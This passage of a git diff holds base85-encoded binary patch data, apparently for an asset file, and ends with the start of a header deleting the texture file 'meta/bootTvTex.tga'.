zMQdLQK%)`IDbmxus^Ip;QlmA}TRwM$o|uH~q>8|`;!h>~4hid06`YzKEx9OT>2Wz@ zCq0F&XiE1nTHgf*Qx$ie+ERZV>CTN5u+>iy-m_3kocUT0(d{wDxU3^!+X(6;H0g=) zG&SjIyMLYanR=`uOTNN?1lF#0*$^FtXBu`Y7Dw1 zs9s;Lc@9uQD+m144EzXw^+X@%!gK{aHU|n0LwZes&4*6{?8YGM_kRuqo_1d?8St9@ z3ja6=F6ui3D4gr5-}?aY#C`%obpp?6?;H8hfPVtELxbiw*iY2w2H+5#gadf}G@#M$ zEZLw)CK|5_TD&_C3POg5`ks5Yw{Ejp@p*_d22gcVNbP5&BoUoXf)PiK%CiUuZ_|hy>>&#)Dm(FN_uBu zdW!K58%N7Z`tX_vt11%7*h(TKJ8`Cl7G%@#fQraKH#C=xVa;jB5xU@0Tiku}} z9DzHHL5Cs*)g~{$SR2Hv6HUzs$}$%OYc&jBt;QHv_(Zhk~^DoB2WeNLr(@&2D zO7?;8H2q5O<)vQ5#bYs>p^>9r0iLFXe7p}50;CzJRimJ3Q0Kq*wXqO5ltG>eqyZ=z z^k0Y*=JgYUIS#g_psw^h`zJE&^Ir*h4)7fNZUQWsHejQm&w@Ga)e`}G5XnhNlMy+%GY`h0Co3c_UbSXuwm4P^*2Zl~)>Ce|0Eaoxo}Owa}|)$^AX!ACBtsRWp!38JwP*rQi} zoer-VH-wB5!AlkJ6u(Ovd4%>l_SQV6Dj1hNK2rZU-2t}@N1fm2QP?}?FAdt|%3?2C z#FyU2SL=A7uH#&_ea&tv@P4O_Y_>wSJnvS~_a0i?lgx0Lovx;>*HY_yFY_kYO18oi zwjD>KZI>XjCdkC>0?<#iDU7PLN?{0Hvx;#F zWweZ?O6sMAS~plrV@AefW5)?~Ztbpl$Jf}8yg5WY3W#k=okN?ct* zL8C7kfQCIffdy~fB=o1D!-Oy%d??wN$CH5?hx){Ry2N|ZgMW+q3Jc3voxmYOG-f$9 z2`yyogWwH&ivSIWeaO2Y&>w+m2ow;8{ruW*QKFe}v0uLq>}Fu&pOFvnt1(}O$@778 z5bPshp9SmD!3}}a2Gr{w(+spMP0oM2*M~;<7XmyeI80aq{XpSgQDU(iqnS|C5`uXq zJ!wYJsz}d7XV|k0{)GSqgkd~1ZUdt6(gwer|LQw1B0XPvEU@(bhv6FhX0>QdanFzN5PNqCr0P$wERtyw5s%SU@sl&69-PCuVuaW5oMk5F7_)W@aEN8 zl6!!V2B5~JDf`-vZ8N-=rl0hEG^{QD-l_MdzvZ*Jzqfldki%nj2XFZuc59H|nr8tW zZR+1HPvcz`j^nRy3UfHd@ zG`4(bHZ;!C2&evf6J+)>Z(-h{yp8rwdJJZ}^hTEL46g|?yQKAOyKM2^2Uld`Ye>rc9N-*HYZXV>l6{V8+}6h`qU zQP(i#DTph{johh8s&Ud$HX3sI7uYHALZh(lTZt5>y+$|&z9Xh8tZSn}P3@jIgeAKp z=SJ|N&Q3SJzLDZO(;)Bp%Cdn_(cI`mLk*H!-!!;furG2G;F;XY9+2~r^?|+a`+ZP@j5w?*0t~`m`4a%(3sVU-4d$kH+A< z29lFvurM^Z!Ox6WT&JasfH~P+@FwH=>{sM;$f%@aWJo~5aU%eFEq$lc} zs@FGDVV?Dz@RnYkKwWD02?%B2HlR*>HLWiJ`q@AC{njfX#dRS-^B!G3kKkV&_?~Y; za|&Fm0l(ouV_x?L&4E5I78Yu$o(7C^10lz_efTTV1OLjVTYr8IP*ZpR=nc{gv=XS3 zG3`Fy4z__P?i>(r4s850`i zJiBuXLPTAS0c+PDjJ$IbL_w>lycl`*t>lN+W z?N_LYHo`aK|L^+AIKneU-NL%ZW44q}m;DQGdAn4{?}w%zUba6OcPPt_knNQ%&pXuF zaM|p%@v--{fHC@Pd~C1TvqB(jd@^H0WTW&JNg|dAE*tO8cqzqru|#&Kz(wv3uF;oV z#*1QFqa7dL)?hgil-C6$8upGxZ3NG%jgyPioh~=Rw5v)4yxMZ#K6gzGM{mni?y|4i zX4OTic*mE$Wf`Mvfu*s0ChZ%EJ3$;xB{_(EmxfY_vujf&yF5az@)D53sGs=lNMyw! z-HK2e-1kVv)IjR4SxN^X+S~&A3KES4$v8TQR(-{{L&c0r?1CoICUqIeM(_Mua5RBj zO$~n5_rJ?9o4*RE&YsOO-Yr3`Izo}#B@6%hx;_Iq$k&J{_OqoeJ9X?^k5FAN(u1^%mA+fkHT549TdLpp*|9EZA%CI}Jd-5;Na{*@8LH z&Aoy;U#ATyv}+n14wMZqfQaR22{th{3I_jxz3BwPfgbY~aM3L2+oBA5dyTv_SjNC+iRmm8XOtBI zd6v*f*?CX2DQ{M9n}l-ls%`4G*`?_v*{oG1C1(EuXvTL^sNl9liB0T@$>?0zC*2C3 z$o*SYOxbXQ<<2$J4i&GtM-2AV8vS%Et*~38YOy4;%aGU7OJ?f$xYwB4yp)1RY0Gmj zICdNv+j1gb_uH$ZRK^uS<+<9+9Zj3Dgqg~qehR?7gG}Y5sHrr*sDFH=Y+spmGznfp ziEq5xOb`C~+IlN1j=@i>6(0y}0n!UP4gr=>wAM6;Y<`R0nx?zMgp2Wnd_#Sf8}oSl z&#<>3Fzvp70Rq+QL*u4jXpmE2Kkp|^8LU+^VfX#?=C4=%K%m*rpxD!aK*1hLVcy{1 z>hi5q;MEMYWka1igop7O1zThMbKg&GJzs`Bbpp+MtyD{prk|ex^i-BomW{w~oe0Bz z;M_X@UHE6}JK#ruPc6RF9(2b~q&J;F6CLbV+?ZzI0>Uhn#`u@18h~jAx(7%b&{&x6 zpPv9M7x(=_dTI~qfVeN6_8v{q-7G_U8-Q@&KI%QM{n8RNzlrNk z_pc6l9nDNA%Q$?^Psbh)8 zW39>tU&f^$uQ8ik6n_P5cNH*|AXH4(Otp$;jg%PMjCABu1Pa3j_tD^9)1^;IV?%1< zIEZo)ZG<}xtE$bBPr%kBou^}*f|oLtck0A(sr#lT(ft0zl>NRhszteFY{+YU+`IVs zZ6`h&jq7*F&6d(XU6yPx6^{LA2om3^t$+N4>T1bbLD1J!an?Oz5WQEUnR~QQ?ulS` z$%=WJfn6Sqr>38h+Q#WbfHe2KWCNhlBLLap2mX0foazd~gxww#Nvfw;SEFErnhpxi zY7<>yTTpP}pX?zzD;xj9fsJ`gHTq#cT7m{YT7vy>pongG&;3AQo}Us7@A+J~(5`_n zeZQJs9LTh2u>La0#e_HV(Hm^udvpRrcSg9D;XsanOI8EWXTE~HnX2z6-ebupywO-G z{dp#kQ{bjSwfl7GbI=F&tP$yr0RGJ=4g>`)WGb$ETsjffm40A80Eh+@RQGS6{Q9() z17Co!SPmOA-l4uGKn{PUr~4=U)%05^I6!Cv^#EU;KtZFS4(gjReZRs#xBK*!nBqO1 z2$w(uP}EmkC(C}W&(J7?P+#<>yJN<5!JhHVPxsZ5S0OzUU4^2Lr*A~JjK*VepiwYb z7!G9XXQ_Fw0pr(Hz;@r8zU*7x8~s~8k?#m^%a5Al-ldiq$}GLYj>`xiBR`Z+ zewg_-%~aZVykW7KvN_J4Xl1suY-GWq+QrWPNDz!yKt;a8X7B4z-u1eSc4vp3eb#&8 zf&o`cNi6k#nm80D_pzKBNU@iu!dj}zJ*EJRdz_{DHA*uDDCr8tjcfG9lI+nqOUYX= z*_sl#u+NlSwbV&xb;72GJE_7todmlpLgzw=K}Q~!nBndloMM!#?G@HpBv`3{oo-gg z28|-DdJ@fXw8ZL!#nOpniCL$^KG~gDzsZVEF{9DyB(go}C`?P8PA)dqI3>9Z%y7xA z*+6<5d*t-CG{QgMuLbw_w#Ly4)pR*pbDct=Y%ClIEIr5iY$3oAM1yVF zL?^Uc5ICfljvrXKP_Ul~JjcQP?4MhLKEt)I3_^x={>w`rIs7fX;IMG61dVk0EQDLbj7XHb28h|!PKX8Ch1Xzss=ln%r={5DaFzh#{z^$JSAp&Tp(QQ4^pm@($-UrFl zuYr`Au9C%vc9C9}rVk;==hc=?fO!GLN5Epg$F~9Vpr9InqQ1YR6SxSlxbAcUbr5X) z%h#bB1q=2BguDYHw9}!m9tiY7u#SCwF1(r0tL8n~Pp@wTj)1%Mmu4VSF`-(2{bGpe z4#peI(=`3S-2gnYFwdm74uwl&@Y7MRRt0{=fx908k^8`x zMjvCbT&B2Gb1wuq&;HFTA!bFoe;Lh+ZuI$d_(3n4eu9CITl_(VL4xJ`4FKYWC5+MT z7aOclr=;aIagJB5j@PyvWhWZ5*cEU)djv*CbHd{F4!(@fue45qy*GK|WBcEmCD=3aL4dOq zmSYtHjBKb|5mv`9ymxcpB0#|#Q(H1M(UrcS&fwQ=!0rSV`_-QVPCpQ1mfQ@a2WaY} z69@;|UK}XogZdT?N}t1Dugc)SUIQVHM{fwsv|EA)0(lg0;a}06SM?kqeV5!L;bKxG{@l$`#s|dw!ZV9^YXBspCiu8)jiqnLJCHU2kejOO< zdw?HP@NWYlaWr<{Pk$ax@;T(Kw}!15`1UwUBU~}-j@t66_su@MW?I6?pCRho zZ#5ZzF!-G%mwjrm%X=CP_xQ;scijdPLBjpZ9L+DwlVfk4-bUFR_wK0;QJa?u2f@4E zY;ZC5lHAXB=6$@~wW;kOtxp_JC1cY;QV+qkIbLP38k-KNsV%eGk-fK`UA|VilyR56 z~!{fIPX#_z2ZuQ?_qPNjrrCmW@DNSe`AO+Z`}jgp8~<5Wnl zp2ohDCQf^)Z2QWrOFj2EK}zV1m@y^z*h}e)u(1@m^*;o)`HpgTUhRWm0h{Y_Cs5Q^ zjv345d=};qU^AZnK8O*qNKY=N!BQIY3goz=&y?3dGMf5=c|pWH;|C40RAI-)g3xYj zn5w^*?%%MVn}P25h>Qk?;kA_8kmKXl1 z6A0H&aocdw@6f>B&HPedfJjp*4knHSJy> zXTFTx57a@hQ82APuZjkB>A}CpW$-iao!3AL{KS5=`y}X+vhmNSz;5&j|D@M@AE2OY zfWRf3^It6)|I+KDwjgyIWPFPAh5wNSg5I~uLO9{UA|Vj6X>>K z4ux|T?5yO8kn z^>BPlZ{H^v->V@dlt0AzVd;l}kENP^jI)&^kMIui(7gV!KL2_ZaK+R=C>ks8f8Xp% z?1}7yjI&GDG&`Ml$?Ry}3bm=-${5d1ir_8pa&$}?_tFV90kL7e8 zaPcVPj)0@gNbON~vExj6>jrlO$~YMvZHnPH!G0o-d(0+d3Dhw6LT$SSFI9xGR1h2N z_)mkj!B_=2j&7Xb7<8gkxPAu(oGAsjaeh4;;D{wITTZD|ThUgWDPxp4))Yo6H-%qQ)`x^Wj|6&l{8}{p#pqhSMEcs}-l)m1bK=dX(0Pp?; zv>MPj_=5`dJ8V^HZXzg2wPT36Jg{BrIY~x=}_gO2-~amCt9y=%d{MO=|hBf zmL2&Ad1C%xBk2%Y5_u+6?jyYwC8QgWO5XYy8CI}014 zx3lbJC|je=Zf$~Rxr82M!`|Rv-v1H35TD$D+k_~a<$V>a33L|x8k*I{`aBWyrwyPHlBZQy5Dm%IZqD^(D_0_l_g|s|IE9H9;hN zaluA+VH*X+n6RxZcM^^LOykmy(&N<;;(~z-<}NUkT=v#qzE)CIZioAFa5TOt=uTK@ zV`#19B1S123+opc%O*M*0Cm=g62o;Cn9lpZngWFLKwvlej@P2TGByx;^qaqs;oa^N z+HK9q)#c-l1@r9RY6+g#L-ZPmsL!th)9#Z-j92w~KiYt43|iT*ffNLC zb(63l@H`D@C0GdZ(eWGndo=**2O0u>3e0;Sra_~ipZ5a}MT4NAPlS>GWBwXQHwi($ z|MfRvA#%p*{-ps(hj1MS(+}KzKRyWK@zcj)+zc%In|`2Ld~WW+gh4(v{RD>rztjDz z{+{}QeaH(L1_j;pt2aJ&50E8zFJ?u0^C;j#L9w5gh5)A%SbAiS=V?HcLcY}%EM+jS zzz@LlgMR~rbpH%{vh+c)8hTvTh!s7h`*)4SbwFTYo50V2H$vX{D19y&V*|(?O8oaa z`OVp}Ai>-Ez}^;`{hCJF82vBCCoNQv9~huX;DHB^ATu4|*#9zk-^JVILo^$QV~OlB zmfv!fei@%ceRtmyJuE+(9p%Q_uH+Ymz3%-)yO%!bce-udsXrILe}^xYIIjO$xOcAE z#b&$gJ*)P(*)e;o3Y&S`N*wL8+Ox7J&J>%9aEy1rz2~+s#(PUG--)0-m)h8-mpqQg zzKw~N@+g(m-hAaaSGHpp+$C{4xfd%Hsw3c@!g`e&v_uVWduQBn#!>=aq^PltOaHu! zwn>pw6+vvTB_epWWG=E~N@NW1at%1@_bDZgj;#A_Gwvb=Hk)5;%tlbswuy_AM&B_t zbMh4+zcl(pgBdm=u-Uku*m0tKKp?J^dzY?N{3H`924P@q*K_cX+ z7tBlR@AL+tz9PdyyE-8Ld(Mcv>9@{;3*Ll(y1Ek>xr|Fg18|Ri>7$!|eqltbZtHoe zp8zcOJ1+v;Ana%GYy1NOb)*aa^_T|W905nz5V*R3<^F5~!hZh4aJ`gwKr|Kdg%5T3 z>+|0<25ZTz*whCH4iE|#FBJ4~aKW3DAfFizJ`C(ZfbRQ^rV!5ZUke4N0XPEGH{)VI zKmIqz!N$VEIUf*LlW;WyyA!Aepk)NO&d&$Jc;>@{f&o8~p~$VKIT7}UpoM(;iy=Ur zsZX+}fk2vp1B7k~hW)_B-o%F(hYaU~C$-eb_w$BsGl9gIS@?h!-0j=zi9^0uj;^ttpsU>x5DOQUEr9bsA2am5`Fiv6UR;`r(-)z%X%d``yA!Df zGH!cz?a{QcEU~xC#N5?NSvFG@zU?KwHP~Q0H6SFKBb0^iBZU*Q+OB zr&eua**4TLjuD(oH6xG_cSpcWmG~M#g^{iWER}bHV9**Z`Nm0?>146jD07cH1z{a6 zaa;d{YKsE7d^|b!-_@5hqlIaAh0jPGLEYX+`O@=fB z!+uSP4S_{^yZg5u2m}Sqio(CehjjU94>t0N`c^+s$j4Fhf=g3&_ow96fSmG5d7;C;X=Of-gNwm>-7F_0pY-&1oi#& z=7@MtvZ>F)`9So)KKp({fD(jxIoPf5z({uY&q_01NN**~#? zf{(t1&+Z!!+H!nx`L*K&sR#t=P#+?^Y!;LF#@8*+Qflb1qtBgA%&Fu%?#B01C}r8% zvH4_q3V5%+HB@!$KmMxo&kfmXyuD6dmwHXV-114(p<3gevG=Czl5B$PfQ;T`+3%iP zr*}H-Q*4(GHCrBn94F>Bs2!83gD5*@gqncfSQC>(W6#o~$i0ee1I6!a_U>- z*xQ$FI!hh7l(8?%onj0+BlkY(h<4m7b+dj>pTLK$(dEWz+3G37Ue4 zVZt^5^DrKH*slc1roOS!*I?kl8KFM&-hLEN-9MfTO!rT1!+>9DOm3b+gBqLtgnyoj z@q~iz@|g*dOK<#B8_+07t1$S-;jh|#zG})P*fR%47}*EG3k6}n^Z=y~0hazW{b>DV zY1nTBAh2l=-s_LU_`@%}0McV&o=Fet%Q);O!7l>q6=2DYb|dh}pI~oz51DBzg@Wjt z1N%EL2lEaArU$6EKllzzEp^AQTYv8O8UN7mD4=?M2EY7q5L$ny0cfbB?^i@e_YWG> z3&Kr?kls+AK+fzJ2m}S;z&_!vC7U%3y1$2`dVS`=npV3{;~W8Z$8S!7)%T-SSain$ zanqn+&)veNJ^^Gypw4_lde|G@N(rjf(&GqNOS%M&S{f9zOHmE%Cjq%OZZApS@@Y5q z2CXH#h>Kb&SBAR?(zOjsNq8;m{CcmIAPIzth1KJzJu(VAHSQXk1X{r zu=k+sZfsKCA7{7Pdz_TMw6C#ky{22Q;JzmQOtn<$Itcm+Tf%lx(%X{AdsJR>QIdm` zMbVsY3`mVqk;k!1;w~7=>}1El0mm`!wPefaDS+S}l@0^DQ?OhTGNv z6!j_E)!$REPpnu;jeh{4G`^UQQUWK!tOf!NbvhvS74`%C;5~Vn>+Viq4uy?*V!XB5 z-M`%f4Cd*~H{HKQfJQsu&@?DYr2FSnV1M$(h*&r$y{|qU9tbRo69i885BaBK(*w-O@B58lcliQ@{ZcSfKLI$+K)nK-E7aGG!TtgaZNP2@ z^0$CbCotW=rbJB*dm+O{!D6}60DJBb(f||(*7Q69sHUF?FfBgI_R2x94u83Xf`Pz! z0?;SI)zG8q*R8)nKKBND6%Lfmd?iLq806yvGTr?vI*PpKVOY-+O=W45oGWY5~N%h5Ss-6Z!cU95-j7RgdBc3;@c5+t}Xu} zY`c#cZLSBFTmc_0HEm6Nr}EZM@LvjF6a5$}Ubgwe5q4zc8n?1wt6eHaVaapY=76LX|J>WkxrYPBE-_ZiqLve@6}n7 z5=#q8?KmepL8h=tL?yUCR&ArC7QY*RS>kXPJF?|On54wqqnA`t3klnyh_5(fLo_sPrU+95W!s<}S<>A(g3RWcRcn%K z%xbm06vScYj%56>Y~#rlcNc~`MUI@3NYv?4aF;~EvfSw`rx+}qMYl#_R*pQrini-C z(OD_LvpejETqDGIksgP?d+gqz+3x_M*)PYz&|P=@q!a{ZwBYWaH9|qaPxf>L&5CvY zo7SHVV7!b*MEZVaJazU!#5e3&}HuzmVK>B`e1`ZI~fDYmLQy}8Q zGy@m=fqe5ah^DjzZ6o~aX`|ru26YPD$k*LJ4u3;~ege?X`02|qCD^{u&R6yNxI%!{ z-|MAy_-nxPmthVBsxfH5n||P6p>glY-ds8G?FL{NkLh(5Z0f5s-_3r(yyy9EHvn%A92(?HfO_^X z2f>CwrlCGJ04>kse{S@l2McNU4eT`vh7Z#TY!u9yZ^NO9PEEfhFf}eV@3|$|_$TD^ zF3f76aj!l%@oxZtzA<2S_7XTQd?Rr?WpnU}Olc@xwo#rD?%_S#i#kUfroD3Nhzn{xy?+JHoo+ny|BL^(+{ z#mfcA5-+A+9i<|-amwogu#tfy#1eZeccNtUYT5H^Br*~Dj!ta^nIh-*sc=$QUtXsY zhf?rYgp+!r?b~mA9CJsGMpgO+Y%_7Bck20ZqS-arW(-nTDP2R2No0-W_LXI4jG0}^ zfFP_=lJfR%g`7%UUJ5Q7Uqn_MvUf(Z>^LVEj<&2I6M67YzBDUEvimMdugeBA z$`NJ%4r5apSv|oE)gVAG$smGHY1{rZ0CT@O8V31lsgHmcBI?tBj_~LTdTNjh`_T-9 z@!b6j{>8>E!QB<)*w>`@Kk89HmgX$@2mwEnp=6_=+I=EJ^#;Xw>#Y!@;2aRs1LQ?u zF=3G&pNW>4*$?DX8_*}eB0UTHZ&EEDaXFxpE0jB zem>Ao2I@E%_yYyS5saDrti1# zFF+_71o^^&JnW}_U@e{QA8&t@CJ+8`1T3@@0rKZU{-#d_qB;2I=lyD0Ejuk`Y6yh% z_&!Y9fPur)@#~j=KQQ58zfFV4KL52r_XbO|dVo0^7SYW?@ap~<{M7Lq2m*pYUb8H3oFQH181+Fg_<%3zQ*d=^=1?F7KZ!T3hl_Q#|Foq zSQ<^)=0@mT+cNf8wwJQ(-Ijt|Q|?t>#&L0-XQ^}PM)nesJKa=^5aTZRq;Tq*O5SgT^B3ak@5BlAgoWpHxVX_A=p`XyUwYBw zQi|(*)LS-s4aCeQ{PU$|;37ly_vQ(}5e^6DP?*R6`XJcn!g?#jJwP4!rYmT{r@cHY zSiqJq0m{;SJkEk^Z2Xe}OTxbbGtA6&nL=^W)3}q3T>!aeIf$+SZ#@~(87u@v&VEaZ@uH}EL;AN@k<0OFW*MotC-(+ zpBwzq<>W0hu5tV(?0`$YivQ+&|MSJAgJ{}ve!7}IG(`TUpS&?>Xki=j);4<_dm@`) z?_9Hmt&O$!L^-l2BD8+CLT_FNEoMq0Z+yMy?!C3-4wYg$(Nsm=Gqu5~oCp(V_FUqu zQI*_gx+#7Z>tkRu;-A$CYXQr#A7lL*6R>2`IUqk&X_T}_)nl^>C5cTB?a>uJ>&Sv=}gm#R`*SF3=9d6~j; z8WpfJQl~X)`hke*2i8?UxS3EIdU{7+$fsjpT^2a}T@bi|uqkoVASjpv;;RR^9|a8l z0f8Pl*cJ6u-G`Mr6noES$byrl%8V4$LXAj(5`!tiKU# z2&@mn=xkTGXv_cG+WDtklhjbyEsV~9I}p_I5BH!jAPWA%{jbEF^PHqoeeZo|MjVb`Hff-oV?K*?(N83Oz8H`4|};h!#__LkC}J$>|18jS+NwEHCR(Fd^C z$ftARMm|v@?Y_WXP;i*gJ;2ofEHk=-Vn1IIY%>ICVYLB6fa>Pel3xgf=vpqon^ytN zd&O+hm;gEXHTbD**bP9yk7*!q2+*JX8vpqCw@7dEUdcVpDR7fs=^vUk6})*$C(vJo z(C+hJh||%q4uYEoukSDN+Ro^kXv(Z|Lc6dPN|~p?LLL-O`msk>nEiWM!sE|E?mM? zZm6CvJyU&DG$~K3P-5)j)x~aCG#5L0aZ$?%JHbofB0lb~L6*HT=`uR$k;&*0UZqa~!2V6#jkm-s{1iAP*oN3#fXx3zEd$z`fn~$~PEVtR|O(+GaU3w$r$w5=cR~(zwsEf269DQ!*juT&8dLtrWpM8l;%r>4S z_R7AqwOvl~J2>}9CKIjm$K~X}EqIlC)a~?BQV#6+5IoiD+G|^Kg{)TXwronl>)EXbsIA_=W&6rqO4! z1$zhoV7Vs1jelTXv)_e+t%L@J37G{fFVy{ZoH$9|!BTKr8i=fO^NT$n(N0A+RvQ0ynYT7NqB zRmZPi|D(kx4SJ4!5BPOIkdB}9?(*?Ypr~&yx_>4^LEQpE{zS+EzoNcIK7Ru;5LgGh zlKp}3$h;Y-(QsJ(x^och??-CdbO#Nl*VoO!0Y3?*xTEPQOZ9_+_e+5Ooxpq>Vnh_e z5yZu}+=m87z(!@-aF{pBR@F8KuKK=~%z-aJau<37z;bs=3m`v{#?rInb6*T*cauih z#LPQxmn}asJg9c(IcD2;%NU3ZzjS=>vTpD^lSiCK8dQXeUTu9DKXkTTb+wWI>)AehCV>nZV3 zZW%9EL%VxZqHVM6+q*NZF`HU1d)&v2td=q{xzjQ02a;sC3%szL8)rv5YIm+ji&CSyRT^WfEAC zPr_JE+AE*47ctug-^oF{ym;wRptrE)x%Y`Mk3wcR+IL6RUGzqifFd}5BJ61y*YpG& z_t~N}Rvt5J99(EeG@S?obsF@Y6Ny zXU3~(XmCFLFzmVA2NSyQmzMwqhw1pG#b-)HzFL0dtv?Z9#bH@&Kg)+J08bB8*$&xLPdQiuub z(n+bsoq!4D;EGQucJCarSBEW^RbfLZQZ9pp9VIz4MO6-Z* z`bl_lkT0ujVOgoRi*A9ZiluJ6fv{|tYUv^A`W2v~f` z=`bG!3-${9rXM(Mz+$;VJFad3rZLzA$g%Gn5E~2A`U3@JK=;omi2cQT!+{$Db*ftw zw_XSg0TwHU{Upf7uLVl3ULW9BW6|Acn)*P&{L)L5?(C)AXPF*gt%~TdPQVrp zbrdFz@d$0UcX^xb1473Bt^TQ8+dY>$fv28qzvz8^5p$N7@Qh#k_Uc|j-WuI$TR!A% zcH~#%*Spv@Jb@RR6L2MPDRF#`U5qG6T@zh~Tu)t+RMaS8t8$^7Dmg_Bp+*%`J2IYH z=};%;*sKz%RW>CKyIZNkhl`WZ)Hbu-Y;{b6#y6|6 zvzmNnNdYmlKzt?Bcel60z3h(}UcE&ex%XP?INM$}eVa0{4FY-Qfsj>?$AyQ}Ta-S# zjNSnWtAx?ptSqzR-q%~?e#ahR@3PEd+#BVAVC+#h;w`i^nwD`_=B4SB#*)mHYVU{{ zacWd#kE1^V(Rz28agBbKcmjP33Z8`X(T6moXBWjW6S@INZl*zaPookmn{)^lE7}os zY$m*Duzv@}1UT%6(EUK2{BoK1N=8%gW*XGDz|tHVyuhyjubD8s*VI>E0qY$7FH&7pqLCb}6^Z>wJzoL--aPEEfS=9gjABvhBL!LQj5 z&2IX+6S$gw;zM->3j$>(4m9k!Ti9;~0)AkgIM5&eV&>)^aA+(%1gP(S{S(k?>z$85 ziu7{$E9$%c6v%L3dV}vZlXir@&DvcF{FJb_O&st1uY2h&_STod+nlX@m_4QyFq%6h zZPXeJG;U4HJEcqhnFgg zu8)^7)vyhYFVWc4iBUHbu%pEu11pu)tXfaPSW4zf8C_uT2;w-oBd4th_C3npF^__n zqnzpF)0-wjPnA*|pKQ62@~tJWl6lFoCoBdeKO@32z_&()vP*XCUD$&0#9zjwk)@79 zws|aj_ma!T8dhg(?cS@%GiG-TW@|FU#m@n=3M&Ck?^Q`A&t77$*^$*}N}Xp#Q-s+O zxwFlZr`u+3^9bHuHtlP{A9r+y$$YjWVU0pK_W&ys_4<^&l%l@${ltN`0q}r8WQ|5R zPlavKqdd($o9SJ_bDft1#e0kNB&+q;utyKj2GVyM(D+A}PnOVNQJ-uI@aXkT8&Dd3 z2I5iYymRbZmi{|&Zu;5F_?I3ahq=}08)a#J^Q)RR3W9&db!rK&eqf>CKwt?mxZ8kz z!dv(U69RskhW-4?pH_9AD+0`t?5*+nZ%%=Og1^^^FmjPzy&0$jVt}y5oc!*tpfOLD zbHWShod)0{zy*Qx%P_@wc|Y)K4EDKjft;Iu212*^#DqQ?PRB1woB7x`C&IJ@jeHje z+C~~*-2*H#Oec`;pY?x)221vJPIYq%{O!vZ!RIVk#-=-W0vi#n;lP)VK}?4JBt%QW zLQ$W)g2i~k!t*wuEX9Et2mFpef3FNU{{{T8pVl9%!a2A2BIr*B%gdLS=mb_Fo*p1F z>~{+E!HB?WPHK90*E8DiiYPh!YBJ-nxpw(GFusZ?8!*@W79<>TG)ij7m{P8Fv^=^jaS3%VoG zV0Mu~clItJ-~8%@K%=0;+ESSd6wQQ%XDvt5pr|RU8O3$}Ld1YqN?jvEeKi{P&Jvo8 zIrEiGTN(n5c{dFLgpGn_00hzi)KPE$Ibe=})AtJy(*2vppjv{$LSx>rpM-PfE8e3k zc*bC!nUJ2I`hjlxF|Bc7;rbiFn-whw_C$SvpV&{xcm6ntm@t0|#7mi~_2(soupcc! z1EF6RbaU_Zba;{8qwiPXXZEYkUJi&cIAinP1%am%s1xC80P4V(uSL}QoAX~C{z82o zIs8?x?;Hd-?=A4tId4r(dgtUf$mcd-Akb&QeFR)Mw@-d=GE5J!;B5|k4UIVzE|7x; zclS>O$XT#^fMP#Qa~2E=HuBN*8~hUrragGD5OTAPzV*OG$}%?ZF?tE!TO26T^A+Sn z9u9P|7UMyH=x5dCI|TT#%74iT8wNgs(?lL&yk6N-Hh{#!jIrMW(OzS28{}7;uYA|; zaa@`T_$k`8@9lCe{n&l|kH)p*|8LW}$Jg6@li1rGqjbr0ZA$T?Cb|wvGsTMv+j>wMYPBiN=Ajrg#4O?U5X+pJrqMdu}B{Ui*&UzH3-v$*{W_=44RvIoM zuw*YBwK_`N?KPoTRVchV;6zRW){ipw9dM>)kZW@AeT{ySPbhKPxeGP-vXQ{=bpICJ zS;^APegZsTPY~$e102i~4HmP3i~fC>`KiDIfiPi@Vm!+*9@H1v(U9Mb-}Ik{3o&x| zTbAwwy7i~SU!VD+3?I7tC)hj4Co^>gQJzL$H~p&12MQhn6d6K;^%b!B4a}o|sNNtP zc%z^#b@*Fo$7tBgRGK*pwv7qUZv*<9Uv&j(^r<~~4tyb{@M)cSMNPcE6}(+@9+ z?q~qc)S7QJuBKmq`q7|Ru-90)+JJ?E&|r7@#Dt^ti-Kl99}ODU3dIm}H1&;%$H^shtH17wOB<9z%J?}hrB32S=up4))_^4BP+sfljz&xgE2dir%} zH~IiS{{UbJ&}8WLoj|VN`V-4F6LKiLnQ)MAZ1f6W@Xt)RXs~#1z5BP>4=k)QJ+L=| zk*|VWWxY#$?R9=9P|8PHe@q)-aDQWuL3{NsX&gPKfr>K5eviG;v3Y2IboywK+5Sxe zJJnAKw2dF{oozkUwVG^eueZwiCwQ#BOZ9~M(P%u1M@*C+-`w@Aj@JmY^dfu}=V^Rb zM(R$Nt*K&D86{99sd`h_#$^hbH7aBj>)T-0yA)q)w-bnq_d2z*_aYfZo(tcOkl@Sy zSUzHQ1l9L;k1_er*f(CQV=SQ}EMGLyJ9x>O+EV3yyEs%<+h*_1qb?T$P8@Q`Kg3#9 zd~R@(oE*G05im>I*jJGD&0e=YVf!x1M)ur`9g~uixpwK*a~F2p5wK?q$#xk*j$6}P zCxM>kb~;0Xpe##WlN-0ziLp^uM_GdHlhx=ezOS)Q8p~cT%U5x5Z(&>z+{9b|a3@>i zA3G|hN$+$Bt>Ji=r5XFH5Fh@!6Jh6o?CzP{dCTIAkfFYJ_XJJv4~DCW<18}0g4s5YBdmuMn}LVI&)zC8cZMiq6`PR zE7%>veg3-|fTuSI0j@8C)$Xh50Acq7yR&CFEYg#{4~zZE-}NnUwFJRABi|eZn+ACs zaK95si_aYB_F%wISUAnV628^%z)0g?fYFq{7H1p1@0b4Gg?!cME4@d(_~#b_-SM06 zLEPwbOHjO5Hm188E%=9Gh6%lteqhlZHWsAZfENOE$M0}p+kkvQ!Iw7!>Giq$XZ$nB z3F>^g>8FETuu#T6=k1pO)7DF4P`$gp(j*klS;^R|>GIu5fm}3VGgDms@n3VA99we> z=-aq(Yx#ych`@Lqd_lnlk_wzNs4d`i6qRd9VfRMhQ$D%dd1BXFGQJ?Y8C%@;rV32Q) zgEa*Rp}t{4k)a!a{Su&F1=IG?z-1!EOgrt6m&E2m%j`C zi4tk_p)b0l>DTPnKM4pTZW@%_KM!~a&@Dc9{Bqh$e^1~iToeI%)GL3;WdI7A{Z<1| zlqev)`hmv6YWLMIz^qR~#C|^fwbEz4fM1Wra)Q8vfAa@H_K7gR595Pie)`X6zG(mk z|J41fj^9%H2v`K@W8XCTG%d^%1o{&1(Ho3`sV^@F0(i1-G8E3;@;VNleqdvse-mcC z`xh+ymB7#PZn%MhY781DW;(6HZTuPhz5s)JX_LSMA--4&trbyBv=-iY)l#oMws`8_ znxTBVw2)>ZCxI{Qi-+%3T&~QQ!Pakib{rwAFTUtCuBGupIFW60rtj|Y;d@O#Z;_4O k8T|U&U*x}k{{3Hn`u7k2_~CDV{r*3H{^2iw`ok~&3wkHDod5s; diff --git a/meta/bootTvTex.tga b/meta/bootTvTex.tga deleted file mode 100644 index 